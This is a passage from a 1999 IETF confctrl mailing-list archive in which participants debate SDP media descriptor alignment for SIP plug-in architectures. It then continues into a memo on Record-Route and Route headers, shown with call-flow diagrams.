> anyway.

You're right. It doesn't really change anything in the discussion but
thanks for putting the record straight.

> 
> ---
> Igor Slepchin

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Fri Apr 23 09:50:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA23420
	for confctrl-outgoing; Fri, 23 Apr 1999 09:50:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA23407
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 09:50:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA27028
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 09:50:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Apr 23 12:49:07 EDT 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id MAA19209;
	Fri, 23 Apr 1999 12:49:05 -0400 (EDT)
Message-ID: <3720A48F.4EBF9D63@dnrc.bell-labs.com>
Date: Fri, 23 Apr 1999 12:49:19 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: eubpepe <Peter.Peldan@ellemtel.se>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <2987.924789950@cs.ucl.ac.uk> <3720178C.287408EF@ellemtel.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

See comments below.

>Colin Perkins wrote:
> This seems to be a software engineering problem, not a protocol issue...

Agree wholeheartedly. What Peter Peldan described looks like hacking
some 3rd party software for the purposes it was never intended to handle
and I don't see why it should be supported by a protocol, especially if
this introduces all the synchronization problems described in previous
emails.

eubpepe wrote:
> 
> Colin Perkins wrote:
> >
> > So one has to architect the system such that there is a common RTP library,
> > with other media handling systems layered on top of that. I think (hope!)
> > we'd agree that RTP is sufficiently simple that a single library could fit
> > all, and that the complexity is in the playout buffer, codecs, etc.
> >
> > Still, that doesn't help if you wish to use and combine the media
> > frameworks available today, which don't give access at that level.

> 
> That's exactly the point. If we believed that we could succeed in
> agreeing on using the same RTP-library or API your suggestion would be
> fine. But since there's no hope of that(?), it doesn't make much sense
> constructing the protocol for that situation?

Who is "we" in the above paragraph? There is no need for all SIP UA to
agree on any API like this, at least it should not be part of SIP spec.
Rather, each UA software might define its own plug-in architecture, as
suggested by Colin and implemented in RAT, Netscape and tons of other
products that want to be extendable by 3rd parties. The architecture
would allow 3rd party media handlers to register with the SIP client to
handle a specific payload types, and then a part of SIP client would
have to handle RTP streams and hand over the RTP packets to the plug-ins
registered to handle the payload type specified in the packets. This
allows different media plug-ins to play parts of the same RTP stream. If
you want to standardize such an API to allow for plug-ins reusable
across SIP user agents, you are welcome to submit an internet draft.


> 
> That is most likely what will happen in most cases. I just want to have
> the possibility to send two media descriptors, and still hope that most
> sessions will only use one of them. After all I do not expect the
> generic call to use plenty of codec switches. In special cases like the
> voicemail or dtmf -- a dying breed -- cases there will be well defined
> switches from speech-voicemail and speech-dtmf, but besides that I do
> not believe in frequent codec switching to adopt to network congestion
> and such (just IMHO).


OK, quoting from RTP spec:
For each participant, the session is defined by a particular pair of
destination transport addresses (one network address plus a port pair
for RTP and RTCP). This specifically prohibits sending packets from the
same RTP stream to different port numbers based on the codec used. And I
think that changing this part of RTP spec is a really bad idea, as in
addition to the synchronization problems described in previous emails,
having multiple media clients see only parts of RTP stream will totally
break RTCP statistics - the very heart of RTP.

In addition, even though you can probably configure you SIP client to
make multiple media clients to expect RTP packets on different ports,
there is no RTP stack that I am aware of that would allow sending parts
of the same RTP stream to different destination ports based on codec
used.

Frankly speaking, I don't really see why specifying ALL codecs you can
support is such a big deal that you want to suffer all the problems and
complications described in this and previous emails. After all,
specifying just a subset of caller supported codecs allows for nearly
just as good a conversation in most cases. You can always choose to use
the most efficient codec of those listed in INVITE and return just that
in response SDP.

---
Igor Slepchin

From confctrl-owner  Fri Apr 23 12:51:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA00700
	for confctrl-outgoing; Fri, 23 Apr 1999 12:51:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA00695
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 12:51:05 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15061
	for <confctrl@ISI.EDU>; Fri, 23 Apr 1999 12:51:03 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF04AH3; Fri, 23 Apr 1999 21:51:06 +0200
Message-ID: <3720CF25.C290C436@ellemtel.se>
Date: Fri, 23 Apr 1999 21:51:01 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Igor Slepchin <igors@dnrc.bell-labs.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <2987.924789950@cs.ucl.ac.uk> <3720178C.287408EF@ellemtel.se> <3720A48F.4EBF9D63@dnrc.bell-labs.com>
Content-Type: multipart/mixed;
 boundary="------------30830B99D17B1E19C0A25A4D"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------30830B99D17B1E19C0A25A4D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Igor Slepchin wrote:
> 
> See comments below.
> 
> >Colin Perkins wrote:
> > This seems to be a software engineering problem, not a protocol issue...
> 
> Agree wholeheartedly. What Peter Peldan described looks like hacking
> some 3rd party software for the purposes it was never intended to handle
> and I don't see why it should be supported by a protocol, especially if
> this introduces all the synchronization problems described in previous
> emails.

This is completely wrong. Our intention is exactly what I described
several times: we want to allow third party vendors to produce
multimedia plug-ins for our SIP-UA without having to complicate the API
with the lower levels of RTP or similar. The API only needs to contain
basically SDP-queries and start/stop session. 

> 
> eubpepe wrote:
> >
> > Colin Perkins wrote:
> > >
> > > So one has to architect the system such that there is a common RTP library,
> > > with other media handling systems layered on top of that. I think (hope!)
> > > we'd agree that RTP is sufficiently simple that a single library could fit
> > > all, and that the complexity is in the playout buffer, codecs, etc.
> > >
> > > Still, that doesn't help if you wish to use and combine the media
> > > frameworks available today, which don't give access at that level.
> 
> >
> > That's exactly the point. If we believed that we could succeed in
> > agreeing on using the same RTP-library or API your suggestion would be
> > fine. But since there's no hope of that(?), it doesn't make much sense
> > constructing the protocol for that situation?
> 
> Who is "we" in the above paragraph? There is no need for all SIP UA to
> agree on any API like this, at least it should not be part of SIP spec. 
> Rather, each UA software might define its own plug-in architecture, as
> suggested by Colin and implemented in RAT, Netscape and tons of other
> products that want to be extendable by 3rd parties. 

Ok, we done that, and it works fine thank you.

>The architecture
> would allow 3rd party media handlers to register with the SIP client to
> handle a specific payload types, and then a part of SIP client would
> have to handle RTP streams and hand over the RTP packets to the plug-ins
> registered to handle the payload type specified in the packets. This
> allows different media plug-ins to play parts of the same RTP stream.
 
This sounds very complicated and seems like bad design to actually have
the plug-in in the middle of the SIP-UA and the RTP-library. It must be
a much better solution to simply "hang" the plug-ins at the bottom
handling their own RTP-streaming.
And what if we suddely invent a new session type not using RTP at the
bottom. Should we have to specify a new API for that as well. Why
complicate things when it can be so easy?

> If
> you want to standardize such an API to allow for plug-ins reusable
> across SIP user agents, you are welcome to submit an internet draft.

No I don't, but thanks for the suggestion. Since I do not believe in
this architecture, I leave the API-specification to someone who does.
Give it a try?

> 

> 
> OK, quoting from RTP spec:
> For each participant, the session is defined by a particular pair of
> destination transport addresses (one network address plus a port pair
> for RTP and RTCP). This specifically prohibits sending packets from the
> same RTP stream to different port numbers based on the codec used. 

Well these will simply be two different RTP-streams then, won't they? 

>And I
> think that changing this part of RTP spec is a really bad idea, as in
> addition to the synchronization problems described in previous emails,
> having multiple media clients see only parts of RTP stream will totally
> break RTCP statistics - the very heart of RTP.

For the RTP stream, the switching will simply look like a block of
silence in the old stream. Doesn't cause much harm to RTCP statistics?
If you would switch codec several times per second, I agree the
statistics would be strange, but not for the normal types of codec
switches one would experience in a normal session.

> 
> In addition, even though you can probably configure you SIP client to
> make multiple media clients to expect RTP packets on different ports,
> there is no RTP stack that I am aware of that would allow sending parts
> of the same RTP stream to different destination ports based on codec
> used.

?? This is not up to the RTP-stack. It is decided at higher level. You
simply have two RTP-sessions started and select which one to send
through based on which codec you are using. Works fine with all
RTP-stacks I looked at.

> 
> Frankly speaking, I don't really see why specifying ALL codecs you can
> support is such a big deal that you want to suffer all the problems and
> complications described in this and previous emails. After all,
> specifying just a subset of caller supported codecs allows for nearly
> just as good a conversation in most cases. You can always choose to use
> the most efficient codec of those listed in INVITE and return just that
> in response SDP.

Well, if I as a caller do not specify all codecs, I would have to -- as
a user -- make two call attempts before knowing if the session could be
setup. Not very desirable for a normal user. On the other hand, if I as
a callee gets an INVITE with a SDP containg codecs in both my plug-ins,
I might choose to only reply with codecs from one set just to improve
quality. But that would be up to the user to decide.
> 
> ---
> Igor Slepchin

Peter Peldan
--------------30830B99D17B1E19C0A25A4D
Content-Type: text/x-vcard; charset=us-ascii;
 name="Peter.Peldan.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Peter Peldán
Content-Disposition: attachment;
 filename="Peter.Peldan.vcf"

begin:vcard 
n:Peldán;Peter
tel;cell:+46-(0)703-22 32 11
tel;work:+46-8-681 22 11
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:Peter.Peldan@ellemtel.se
fn:Peter Peldán
end:vcard

--------------30830B99D17B1E19C0A25A4D--


From confctrl-owner  Fri Apr 23 13:32:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA02247
	for confctrl-outgoing; Fri, 23 Apr 1999 13:32:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA02242
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 13:32:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA00593
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 13:32:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Apr 23 16:31:07 EDT 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id QAA25066;
	Fri, 23 Apr 1999 16:31:06 -0400 (EDT)
Message-ID: <3720D89C.A1E927FC@dnrc.bell-labs.com>
Date: Fri, 23 Apr 1999 16:31:24 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: "Peter PeldÂn" <Peter.Peldan@ellemtel.se>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <2987.924789950@cs.ucl.ac.uk> <3720178C.287408EF@ellemtel.se> <3720A48F.4EBF9D63@dnrc.bell-labs.com> <3720CF25.C290C436@ellemtel.se>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by nova.dnrc.bell-labs.com id QAA25066
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id NAA02243
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Peter Peldán wrote:
> >The architecture
> > would allow 3rd party media handlers to register with the SIP client to
> > handle a specific payload types, and then a part of SIP client would
> > have to handle RTP streams and hand over the RTP packets to the plug-ins
> > registered to handle the payload type specified in the packets. This
> > allows different media plug-ins to play parts of the same RTP stream.
> 
> This sounds very complicated and seems like bad design to actually have
> the plug-in in the middle of the SIP-UA and the RTP-library. It must be
> a much better solution to simply "hang" the plug-ins at the bottom
> handling their own RTP-streaming.
> And what if we suddely invent a new session type not using RTP at the
> bottom. Should we have to specify a new API for that as well. Why
> complicate things when it can be so easy?
> >
> > OK, quoting from RTP spec:
> > For each participant, the session is defined by a particular pair of
> > destination transport addresses (one network address plus a port pair
> > for RTP and RTCP). This specifically prohibits sending packets from the
> > same RTP stream to different port numbers based on the codec used.
> 
> Well these will simply be two different RTP-streams then, won't they?

I think I misunderstood your intentions. I somehow gathered from the
previous discussion that you actually wanted to have various receiving
media clients to handle the same RTP session depending on the payload
type of the RTP packets and have the sender change the destination port
correspondingly. Sorry for the confusion if I was wrong.

> 
> Well, if I as a caller do not specify all codecs, I would have to -- as
> a user -- make two call attempts before knowing if the session could be
> setup. Not very desirable for a normal user. On the other hand, if I as
> a callee gets an INVITE with a SDP containg codecs in both my plug-ins,
> I might choose to only reply with codecs from one set just to improve
> quality. But that would be up to the user to decide.

I agree that all this will work just fine if you make different media
clients handle different RTP sessions. And I also think that it would be
nice to allow the callee to separate media descriptions and it looks
like this will be handled fine by adding i= line plus rtpmap to media
descriptions, just as Peter and Jonathan suggested. 

What I don't see is why there is a problem at the caller side: if the
UAC has two media clients that it wants to handle two different RTP
streams, it can specify them on two different media description lines,
like this:

m=audio 49170 RTP/AVP 0 3 5
m=audio 49180 RTP/AVP 67
a=rtpmap:67 FANCY_CODEC/16000/2

Why would it require two call attempts? Of course, this will look as two
separate media streams but as long as you are not concerned with
synchronization anyway, this seems to work fine.

---
Igor Slepchin

From confctrl-owner  Fri Apr 23 14:08:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA03789
	for confctrl-outgoing; Fri, 23 Apr 1999 14:08:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA03784
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 14:08:33 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA11113
	for <confctrl@ISI.EDU>; Fri, 23 Apr 1999 14:08:32 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF04AH4; Fri, 23 Apr 1999 23:08:34 +0200
Message-ID: <3720E14E.FAEC8870@ellemtel.se>
Date: Fri, 23 Apr 1999 23:08:30 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Igor Slepchin <igors@dnrc.bell-labs.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <2987.924789950@cs.ucl.ac.uk> <3720178C.287408EF@ellemtel.se> <3720A48F.4EBF9D63@dnrc.bell-labs.com> <3720CF25.C290C436@ellemtel.se> <3720D89C.A1E927FC@dnrc.bell-labs.com>
Content-Type: multipart/mixed;
 boundary="------------6BC8FB59D5EC4833D28E1C46"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------6BC8FB59D5EC4833D28E1C46
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Igor Slepchin said
>I think I misunderstood your intentions.

No Igor, you were more correct the first time but anyhow: I believe the
confusion seems to grow on both sides and it may be time to summarize
what we know:

1. Current suggestion in SIP is that we should/must line up all media
descriptors meaning that we cannot have one media-descriptor mapped to
two on the other side, or that we cannot allow one media-session being
described by two media-descriptors. If there are two media-descriptors
in the callers SDP, the caller wants two sessions and the callee should
accept both or send an error.

2. Ellemtel and HP-Labs plug-in architecture makes it desirable to allow
two media-descriptor for the same media-session. We wish to be able to
use two -- or more -- media descriptors for the same session. The callee
could accept the call by only supporting one of them.

What solutions do we see?

Solution 1. 
We allow multiple media descriptors for one session and label every
media-session with the i= field. There's no need to line up media
descriptors.
Advantage: Very flexible solution for using plug-ins. We do not tie up
the SDP to a too strict specification that may prevent future -- yet
unknown -- reasons for splitting session.
Disadvatage: We get backward compatibility problems. The callee's UAS
may not understand that the two media-descriptors belongs to the same
session, and may open two streams. We may get synchronization problems
when RTP-streams are switched between ports/modules.

Solution 2.
We keep the media-descriptor line-up requirement and make no changes.
Advantage: No changes to the current spec. We do not risk the kind of
synchronization problems described earlier.
Disadvatage: We tie up the SDP so strict that it may cause problems for
future session types that prefer to be splitted into multiple media
descriptors for whatever reason. It may cause an unflexible plug-in
architecture (which may be avoided to some extent by using the solution
below)


I believe solution 2 might be the best solution due to the problems of
backwards compatibility only. I am not happy about causing such an
inflexible SDP specification for SIP. Hopefully future session types can
all be fit into one media descriptor? 
The problem with using multiple e.g audio-plug-ins may perhaps be solved
by, in the UAC, automatically make another call with the other plug-in
if the first fails due to non-acceptabel media descriptor? The user will
in that case only notice a slight delay. For the callee there's no
problem since his UAS may choose what plug-in to use based on the
caller's SDP. We will only lose the possibility of switching between
plug-ins during the call, which perhaps noone really wants anyway?

Peter Peldan
--------------6BC8FB59D5EC4833D28E1C46
Content-Type: text/x-vcard; charset=us-ascii;
 name="Peter.Peldan.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Peter Peldán
Content-Disposition: attachment;
 filename="Peter.Peldan.vcf"

begin:vcard 
n:Peldán;Peter
tel;cell:+46-(0)703-22 32 11
tel;work:+46-8-681 22 11
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:Peter.Peldan@ellemtel.se
fn:Peter Peldán
end:vcard

--------------6BC8FB59D5EC4833D28E1C46--


From confctrl-owner  Fri Apr 23 15:42:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA08239
	for confctrl-outgoing; Fri, 23 Apr 1999 15:42:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA08234
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 15:42:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA00379
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 15:42:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Apr 23 18:40:30 EDT 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id SAA27727;
	Fri, 23 Apr 1999 18:40:28 -0400 (EDT)
Message-ID: <3720F6EE.7BAB9578@dnrc.bell-labs.com>
Date: Fri, 23 Apr 1999 18:40:46 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: "Peter PeldÂn" <Peter.Peldan@ellemtel.se>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <2987.924789950@cs.ucl.ac.uk> <3720178C.287408EF@ellemtel.se> <3720A48F.4EBF9D63@dnrc.bell-labs.com> <3720CF25.C290C436@ellemtel.se> <3720D89C.A1E927FC@dnrc.bell-labs.com> <3720E14E.FAEC8870@ellemtel.se>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by nova.dnrc.bell-labs.com id SAA27727
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id PAA08235
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Peter Peldán wrote:
> ...
> If there are two media-descriptors in the callers SDP, the caller 
> wants two sessions and the callee should accept both or send an error.

This is not the case. The callee is free to accept one stream but reject
the other by setting port number to 0 in the corresponding m= line. Here
is the quote from Appendix B.1 of the SIP spec:

If the callee wants to neither send nor receive a stream offered by
   the caller, the callee sets the port number of that stream to zero in
   its media description.

The example that follows shows how the callee can accept one of the two
offered video streams and reject the other one. The caller would then
send only those streams that the callee accepted.
 
> 2. Ellemtel and HP-Labs plug-in architecture makes it desirable to allow
> two media-descriptor for the same media-session. We wish to be able to
> use two -- or more -- media descriptors for the same session. The callee
> could accept the call by only supporting one of them.

I assume that media session here is not the same as an RTP session but
rather all the media coming from a single source, e.g., microphone or
video camera. The same media session (or part of it) might be sent over
multiple RTP sessions for whatever reason, e.g. because different
conference call participants prefer different codecs or some of them
support only audio but not video.

Then what you describe is already possible in the current draft: the
callee just returns 0 as a port number for the media descriptions it
does not want to support. I don't think that m= lines in INVITE are
intended to be treated as either all or none. However, this is true that
the callee may not be able to determine whether multiple m=audio lines
in INVITE's SDP describe same or different media streams.

> What solutions do we see?
> 
> Solution 1.
> ...
> Disadvatage: We get backward compatibility problems. The callee's UAS
> may not understand that the two media-descriptors belongs to the same
> session, and may open two streams. We may get synchronization problems
> when RTP-streams are switched between ports/modules.

The way I read the spec is that the UAS is supposed to be prepared to
receive two RTP streams if it accepts two media description lines.
Please correct me if I'm wrong.

Once again, I am not sure what you mean by switching an RTP stream
between ports. RTP stream is defined by its destination port (plus some
other parameters). What you could do is to have two RTP streams and send
part of the media session (e.g., voice) over one and part (e.g., DTMF)
over the other. This will likely cause synchronization problems for the
callee's media agents but I think this behavior is legal from RTP
standpoint.

---
Igor Slepchin

From confctrl-owner  Mon Apr 26 11:00:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA09316
	for confctrl-outgoing; Mon, 26 Apr 1999 11:00:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09311
	for <confctrl@zephyr.isi.edu>; Mon, 26 Apr 1999 11:00:02 -0700 (PDT)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21054
	for <confctrl@ISI.EDU>; Mon, 26 Apr 1999 11:00:01 -0700 (PDT)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id RAA25618 for <confctrl@ISI.EDU>; Mon, 26 Apr 1999 17:56:11 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2571.0)
	id <JQC3W180>; Mon, 26 Apr 1999 17:59:29 -0000
Message-ID: <93496446F5EDD211A8C100805FEAD74901C165@nsrip00207.mcit.com>
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject:  Record-Route and Route header clarification
Date: Mon, 26 Apr 1999 17:59:22 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE900E.87A46092"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE900E.87A46092
Content-Type: text/plain;
	charset="iso-8859-1"

The SIP specification as it exists is not 100% clear in the handling of
Record-Route and Route headers.  This memo outlines the understanding of one
implementation.  The goal being to either validate or update that
understanding and to explore whether clarifications to the specification are
needed.

> The purpose of the Record-Route and Route headers is to ensure that SIP
> requests for an established session and the ACK request resulting from the
> INVITE, 200 OK message pair get routed through interested proxy servers.
> The correct routing needs to occur in both directions, both when the
> request comes from the calling user agent and when it comes from the
> called user agent.
> 
> The SIP specification currently doesn't explicitly reference the required
> use of the route header when the request is generated by the called user
> agent.
> 
> The desired behavior is illustrated in the following call flows, which
> include three proxy servers, two of which want to be involved in
> subsequent SIP requests.  In the first scenario the calling user agent is
> identified by the presence of a contact header in the INVITE message.  In
> the second scenario the contact header is not present in the INVITE
> message, thus the From URI would be used to build the called user agents
> route list.
> 
> These scenarios rely on a proposed enhancement to the SIP specification
> that would require the called user agent to add a contact header to the
> 200 OK response to an INVITE message if that INVITE message contained a
> record-route header.  The need to add this behavior to the called user
> agent was discussed during the SIP Bake-off.
> 
> F = From
> T = To
> M = Contact
> I = Call-id
> Q = Cseq
> RR = Record-Route
> R = Route
> 
> Note 1: I understand that Q, R and RR are not formal true compact form
> headers.  I used them for brevity in the following flows.  It might be
> interesting to have some additional compact form headers added, especially
> for Cseq, which is a mandatory parameter.
> 
Note 2: The handling of via headers is intentionally left out of these flows
for the sake of brevity.

> SCENARIO ONE (Contact included in INVITE message)
> ------------
> 
>   A2          SPS1         SPS2         SPS3           B2
>    ------------>------------>------------>------------>
>    Invite SPS1  Invite SPS2  Invite SPS3  Invite B2
>    F:User A     F:User A     F:User A     F:User A     
>    T:User B     T:User B     T:User B     T:User B     
>    Q:1 INVITE   Q:1 INVITE   Q:1 INVITE   Q:1 INVITE
>    I:1@A        I:1@A        I:1@A        I:1@A        
>    M:A2         M:A2         M:A2         M:A2         
>                 RR:(SPS1)    RR:(SPS1)    RR:(SPS3,
>                                               SPS1)    
> 
>   At this point User B will store the Route SPS3,SPS1,A2
> 
>   A2           SPS1         SPS2         SPS3           B2
>    <------------<------------<------------<------------
>    200 OK       200 OK       200 OK       200 OK       
>    F:User A     F:User A     F:User A     F:User A     
>    T:User B     T:User B     T:User B     T:User B     
>    Q:1 INVITE   Q:1 INVITE   Q:1 INVITE   Q:1 INVITE
>    I:1@A        I:1@A        I:1@A        I:1@A        
>    M:B2         M:B2         M:B2         M:B2         
>    RR:(SPS3,    RR:(SPS3,    RR:(SPS3,    RR:(SPS3,    
>        SPS1)        SPS1)        SPS1)        SPS1)
> 
>   At this point User A will store the Route SPS1,SPS3,B2
> 
>   A2           SPS1         SPS2         SPS3           B2
>    ------------>------------------------->------------>
>    ACK SPS1     ACK SPS3                  ACK B2
>    F:User A     F:User A                  F:User A     
>    T:User B     T:User B                  T:User B     
>    Q:1 ACK      Q:1 ACK                   Q:1 ACK   
>    I:1@A        I:1@A                     I:1@A        
>    R:(SPS3,     R:(B2)                    
>       B2)       
> 
>   A2           SPS1         SPS2         SPS3           B2
>    <------------<-------------------------<------------
>    INVITE A2    INVITE SPS1               INVITE SPS3  
>    F:User B     F:User B                  F:User B     
>    T:User A     T:User A                  T:User A     
>    Q:2 INVITE   Q:2 INVITE                Q:2 INVITE
>    I:1@A        I:1@A                     I:1@A        
>                 R:(A2)                    R:(SPS1,    
>                                              A2)
> 
>   A2           SPS1         SPS2         SPS3           B2
>    <------------<-------------------------<------------
>    BYE A2       BYE SPS1                  BYE SPS3     
>    F:User B     F:User B                  F:User B     
>    T:User A     T:User A                  T:User A     
>    Q:3 BYE      Q:3 BYE                   Q:3 BYE   
>    I:1@A        I:1@A                     I:1@A        
>                 R:(A2)                    R:(SPS1,    
>                                              A2)
> 
> 
> SCENARIO TWO (No contact included in INVITE message)
> ------------
> 
> User A        SPS1         SPS2         SPS3          B2
>    ------------>------------>------------>------------>
>    Invite SPS1  Invite SPS2  Invite SPS3  Invite B2
>    F:User A     F:User A     F:User A     F:User A     
>    T:User B     T:User B     T:User B     T:User B     
>    Q:1 INVITE   Q:1 INVITE   Q:1 INVITE   Q:1 INVITE
>    I:1@A        I:1@A        I:1@A        I:1@A        
>                 RR:(SPS1)    RR:(SPS1)    RR:(SPS3,
>                                               SPS1)    
> 
>   At this point User B will store the Route SPS3,SPS1,User A
> 
> User A         SPS1         SPS2         SPS3         B2
>    <------------<------------<------------<------------
>    200 OK       200 OK       200 OK       200 OK       
>    F:User A     F:User A     F:User A     F:User A     
>    T:User B     T:User B     T:User B     T:User B     
>    Q:1 INVITE   Q:1 INVITE   Q:1 INVITE   Q:1 INVITE
>    I:1@A        I:1@A        I:1@A        I:1@A        
>    M:B2         M:B2         M:B2         M:B2         
>    RR:(SPS3,    RR:(SPS3,    RR:(SPS3,    RR:(SPS3,    
>        SPS1)        SPS1)        SPS1)        SPS1)
> 
>   At this point User A will store the Route SPS1,SPS3,B2
> 
> User A        SPS1         SPS2         SPS3          B2
>    ------------>------------------------->------------>
>    ACK SPS1     ACK SPS3                  ACK B2
>    F:User A     F:User A                  F:User A     
>    T:User B     T:User B                  T:User B     
>    Q:1 ACK      Q:1 ACK                   Q:1 ACK   
>    I:1@A        I:1@A                     I:1@A        
>    R:(SPS3,     R:(B2)                    
>       B2)       
> 
> User A          SPS1         SPS2         SPS3         B2
>    <-------------<-------------------------<------------
>    INVITE User A INVITE SPS1               INVITE SPS3  
